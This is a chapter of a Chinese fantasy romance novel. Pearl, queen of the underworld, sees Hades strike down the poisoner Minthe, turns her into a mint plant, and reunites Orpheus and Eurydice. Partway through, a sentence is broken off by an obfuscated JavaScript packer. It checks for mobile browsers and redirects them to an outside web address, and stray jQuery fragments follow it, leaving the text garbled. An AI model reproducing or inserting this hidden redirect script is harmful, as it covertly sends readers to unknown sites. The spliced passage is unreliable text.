20.第 20 章

第二天醒来时,珀尔总觉得哈迪斯看着很生气的样子,但问他也不回,奇奇怪怪。


算了,反正这家伙天天冷着一张脸,好像也从来没笑过,白瞎了美貌,所以珀尔依旧该干嘛干嘛。


只是她总觉得有点不对劲,似乎有一股视线一直在注视着她。


错觉吧?她都在冥界了,闹鬼也不是这样闹的。


珀尔该吃吃该喝喝,却在用午餐的时候,又感受到了那股视线,这次,还听到了声音。


“喂喂?可以听见吗,我是、神使、赫尔墨斯,我来……”


珀尔一脸懵,这是什么断断续续的声音,神屎是什么鬼,脏东西成精了吗?还有什么摩斯,是福尔摩斯吗?


珀尔怀疑自己太想家了,出现了幻听。


后来声音没有出现,更加证实了这一点,珀尔回到哈迪斯身边,忽然看到了久违的明塔。


等等,这场面不对劲。


明塔香肩半露,媚眼如丝得抱着哈迪斯的腿:“王,我一直喜欢着您啊,喜欢了整整两百年,求您怜惜!”


挖槽,珀尔吃到了大瓜,她早就觉得这侍女有古怪,果然,果然是奸情!


珀尔有点纠结,她这个时候是要站出来,还是不站出来呢,站出来吧,有点尴尬,人家郎情妾意的,要是成了的话,她就可以理所当然得不当冥后,回到快乐老家了!但是不站出来又有隐患,明塔之前就看不惯她,要是哈迪斯被明塔当枪使了,在绝对的武力值下,自己的小命不就凉凉?


所以,一边是快乐老家,一边是安全隐患,她倒底是博还是不博呢?


哈迪斯狠狠得推开明塔,他浑身都冒起了黑气:“你居然在水里下毒!”


明塔被掼在地上,半天都起不来,她的眼中盈满了泪水:“王,我是真心爱慕您的啊。”


哈迪斯恨极:“以下犯上,哭河之神就是这样教导你的吗?”


“父亲他、”


“不用说了,既然你不知悔改,那这性命也不用留了。”哈迪斯手中的黑雾凝起,显然是一个致死大招。


哇靠,杀人??珀尔瞬间出现:“等等等等!哈迪斯你冷静一点。”


明塔意外至极,可转瞬就用利刃要挟珀尔:“王,您不想这个女人死的话,就放我走!”


珀尔一脸懵,不知道事情怎么变成这样,哈迪斯却没有半分犹豫,明塔不敢相信得看着自己的尸首,随即轰然倒地。


哈迪斯扯过珀尔:“你是疯了吗?上赶着去送死?”


珀尔的耳畔嗡嗡的,她的手脚瘫软得厉害,却本能得退后两步,离哈迪斯远一点。


“你,你杀人了。”


“那又怎样?”


珀尔心慌得厉害:“她不是喜欢你吗?她不是侍奉你两百多年了吗?”


珀尔说不下去了,理智上,她知道被“下毒”绝对触碰到了哈迪斯的逆鳞,但是情感上她就是在害怕。


这些天,她眼睁睁得看着哈迪斯雷厉风行,对待鬼魂公正严明,对待泰坦手起刀落,但是,这是第一次,她看到哈迪斯击杀活人啊。


自己的功夫还不如明塔呢,如果逃跑的过程中被哈迪斯抓住了,会不会被一招致死,一想到这种可能,珀尔的身体都在发抖。


之前她全是愤恨,这是第一次,珀尔对哈迪斯有了恐惧。


“所以呢,”哈迪斯神色冰冷,“因为她喜欢我,侍奉过我,我就必须要回应她,放过她?你知不知道什么叫背叛?”


珀尔心里乱成一团,她一边摇头,一边走到明塔身边,后者的双眼瞪得大大的,珀尔轻轻地抬起手,想要给明塔一个安息。


治愈的绿光从手心经过,珀尔不敢置信得看着明塔的尸体不见,一朵小小的薄荷草出现在了原地,它摇了一侧枝叶,像是在别扭得说着感谢。


哈迪斯“啧”了一声:“真是走运,你还给她重新修炼的机会。”


珀尔愣住了:“重新修炼,她没有真正的死亡?”


“只差一点,”哈迪斯不爽,“为了救你这个愚蠢的女人,我没法用全力。”


珀尔后知后觉地感到庆幸,她瘫软得坐在地上:“吓死我了。”


哈迪斯一手将薄荷草送走,一手把珀尔拔起:“别在这儿丢人现眼,快走。”


珀尔不想走,她下意识地反抗,却发现居然反抗成功了?


哈迪斯的脸彻底黑了,珀尔反应过来了,她一把抓住哈迪斯僵硬的手,治愈的绿光到处修修补补。


对啊,哈迪斯中毒了,珀尔有点愧疚。


愧疚自己要在刚才趁乱逃跑该有多好?哎,死脑子转不过来,她还是太有良心了一点。


哈迪斯却误解了:“我不喜欢那个侍女,你那什么眼神?”


珀尔懵:她是什么眼神?


哈迪斯嫌弃:“警告你,不要对我动感情,本分点,坐好你的位置!”


珀尔呆,这个自大狂又在发什么癫?


还警告我,天下好男人是死绝了吗?珀尔冷漠得推开手:“好了就走吧,我的神力确实有限。”


——


冥界的一天相当规律,按部就班的巡视、审判、吃晚饭。


只是因为和哈迪斯吵了架,所以珀尔在做一个“高冷的”的冥后。


可在洗手时,珀尔又听到那道若有若无的声音。


“冥界、传音、好差,撑住撑住,马上就要、飞到了!”


倒底是什么玩意啊,大苍蝇吗,声音嗡嗡的!


珀尔刚想找玛丽拿杀虫药,忽然一个棕发的少年出现在了她眼前:“呼!终于找到你了,冥界真的好难、”


哈迪斯冰冷的声音忽然出现:“什么东西,竟敢擅闯冥府?!”


棕发少年瞬间消失,珀尔眨了眨眼,刚才那不是幻觉?


真的有外人闯入冥府啦,还可以想来就来,想走就走哎!


哈迪斯从上到下得打量了珀尔一遍:“你见到那老鼠了?”


珀尔摇头,那才不是老鼠,是逃离冥府的新希望!


“跟我走。”哈迪斯直接拽住珀尔的手腕。


“别拽别拽


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558179|170847||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,我自己走,要去哪儿啊?”


哈迪斯充耳不闻,甚至用了神力,直接和珀尔一起瞬移到了爱丽舍花园:“你就在这里,不要动。”


爸爸去给你买个橘子?


珀尔忍住吐槽的冲动:“倒底发生了什么事,我为什么不能动?”


哈迪斯皱眉:“你在就是添乱!”


珀尔不干了:“我明明就很有用,再说了,冥府有事,你瞒着我这个冥后,这像话吗?”


哈迪斯冷笑:“然后你冲上前保护敌方,哪怕要被害死了也可以,是吗?”


珀尔语塞,最后她气得踹了哈迪斯一脚:“行行行,我不稀罕了,没人情味的家伙。”


哈迪斯沉默一瞬:“俄耳甫斯的亡魂受完刑了。”


“?”


哈迪斯却消失在了原地,不一会儿,一个脸色有些苍白的灵魂出现,珀尔大惊,哇靠,还真是俄耳甫斯!


“王后,又见面了,感谢您的慈悲。”


受过刑的亡魂像是被打磨过的璞玉,浑身上下再也没有绝望与破碎,有的只有美好和纯粹,他轻轻地拨动琴弦,音乐家的气质尽显。


珀尔惊呆了:“地狱还有这样的效果吗?”


俄耳甫斯颔首:“是的王后,我已经充分认识到了自己的错误,现在来兑现自己的诺言,我将为您日夜祈福,祝您安康。”


“先别说这个了,”珀尔朝着田埂的另一边大喊,“欧律狄刻,快来!”


原本在小溪边嬉闹的少女瞬间跑来:“王后,您找我?”


欧律狄刻愣住了,她不敢相信眼前的一切。


她以为来世才能相见的爱人,怎么会出现在眼前,笑容清浅,一如当年?


珀尔纳闷得看了看:“怎么突然哑巴了?难道是我在的缘故吗?那个,这是真的啊,不该笑着给彼此一个拥抱吗?”


俄耳甫斯上前,欧律狄刻跳起,在落英缤纷下,一对生死相许的恋人终于紧紧相拥。


珀尔默默走开,给两人一些互诉衷肠的空间,只是她的唇角一直上扬着,真好啊,看着别人幸福,自己也会忍不住微笑呢。


哈迪斯总算做了件好事!


爱丽舍花园突然多了美妙的琴声,俄耳甫斯弹琴,欧律狄刻歌唱,他们唱的是一首祈福颂歌,他们因重逢而喜悦,因喜悦而珍惜,因珍惜而祝福,珀尔感知到了他们的心意,忽然心情放空,就着落花,在大树上美美得睡了一觉。


一觉醒来,哈迪斯出现在她眼前,银色的长发迎着微风起舞,在绝美的落花映衬下,好看得不似真人。


珀尔笑道:“原来你之前都听进去了啊,谢谢你让这对恋人重逢。”


哈迪斯冷笑:“我又不是聋子。”


“所以我在道谢嘛。”


“你打算就让他们这样一唱一和,天天唱歌?”


“不行吗?”珀尔疑惑,“他们情况特殊,干脆让两人转生之前都在一起呗。”


“哼,”哈迪斯偏头,“愚蠢的人进入爱丽舍,不会把我的福地弄蠢了吧?”